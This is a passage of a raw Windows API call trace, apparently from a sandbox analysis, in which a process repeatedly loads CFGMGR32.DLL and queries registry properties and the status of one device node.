GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.256] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0227.256] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0227.256] malloc (_Size=0x10e) returned 0x196ef0d67b0 [0227.256] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0227.257] free (_Block=0x196ef0d67b0) [0227.257] malloc (_Size=0x48) returned 0x196ef0fba90 [0227.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x684e8021, dwHighDateTime=0x1d9eb0c)) [0227.257] SetEvent (hEvent=0x248) returned 1 [0227.260] malloc (_Size=0x18) returned 0x196ef0d1960 [0227.260] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0227.260] free (_Block=0x196ef0d1960) [0227.260] malloc (_Size=0x18) returned 0x196ef0d1960 [0227.260] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0227.260] free (_Block=0x196ef0d1960) [0227.260] malloc (_Size=0x18) returned 0x196ef0d1d00 [0227.260] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0227.260] free (_Block=0x196ef0d1d00) [0227.261] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0227.261] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0227.261] free (_Block=0x196ef0d1ba0) [0227.261] malloc (_Size=0x18) returned 0x196ef0d20a0 [0227.261] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0227.261] free (_Block=0x196ef0d20a0) [0227.261] malloc (_Size=0x18) returned 0x196ef0d1d60 [0227.261] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0227.261] free (_Block=0x196ef0d1d60) [0227.261] malloc (_Size=0x18) returned 0x196ef0d1960 [0227.261] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0227.261] free (_Block=0x196ef0d1960) [0227.261] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855560 [0227.261] SafeArrayGetDim (psa=0x196ef1f2870) returned 0x1 [0227.261] SafeArrayGetLBound (in: psa=0x196ef1f2870, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0227.261] SafeArrayGetUBound (in: psa=0x196ef1f2870, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0227.262] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0227.262] SafeArrayGetDim (psa=0x196ef1f2870) returned 0x1 [0227.262] SafeArrayGetUBound (in: psa=0x196ef1f2870, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0227.262] SafeArrayGetElemsize (psa=0x196ef1f2870) returned 0x8 [0227.262] SafeArrayGetElement (in: psa=0x196ef1f2870, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0227.262] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2ce0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.262] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2ce8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.263] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2cf0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.263] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2cf8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.263] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2d00, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.263] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2d08, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.264] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2d10, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.264] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0227.264] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855560) returned 1 [0227.265] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.265] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.268] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0227.268] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0227.271] malloc (_Size=0x48) returned 0x196ef0fb400 [0227.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6850f014, dwHighDateTime=0x1d9eb0c)) [0227.272] SetEvent (hEvent=0x248) returned 1 [0227.275] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.275] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.278] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0227.278] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0227.279] malloc (_Size=0x48) returned 0x196ef0fb450 [0227.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68534ab6, dwHighDateTime=0x1d9eb0c)) [0227.279] SetEvent (hEvent=0x248) returned 1 [0227.326] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.326] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.326] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.326] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.329] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.329] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.329] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.329] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.329] malloc (_Size=0x18) returned 0x196ef0d1e60 [0227.329] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0227.330] malloc (_Size=0x48) returned 0x196ef0fb220 [0227.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x685a6f65, dwHighDateTime=0x1d9eb0c)) [0227.330] SetEvent (hEvent=0x248) returned 1 [0227.333] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.333] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.333] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.333] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.333] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.334] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.334] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.334] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.334] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.334] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.334] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.334] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.335] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.335] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.335] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.335] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.335] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.335] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.335] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.335] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.336] malloc (_Size=0x18) returned 0x196ef0d2040 [0227.336] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0227.337] malloc (_Size=0x48) returned 0x196ef0fb360 [0227.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x685a6f65, dwHighDateTime=0x1d9eb0c)) [0227.337] SetEvent (hEvent=0x248) returned 1 [0227.349] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.349] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.349] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.352] malloc (_Size=0x18) returned 0x196ef0d1d60 [0227.352] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0227.355] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0227.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x685f337b, dwHighDateTime=0x1d9eb0c)) [0227.355] SetEvent (hEvent=0x248) returned 1 [0227.358] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.358] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.361] malloc (_Size=0x18) returned 0x196ef0d2000 [0227.361] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x2a, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0227.362] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0227.362] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x685f337b, dwHighDateTime=0x1d9eb0c)) [0227.362] SetEvent (hEvent=0x248) returned 1 [0227.366] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.366] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 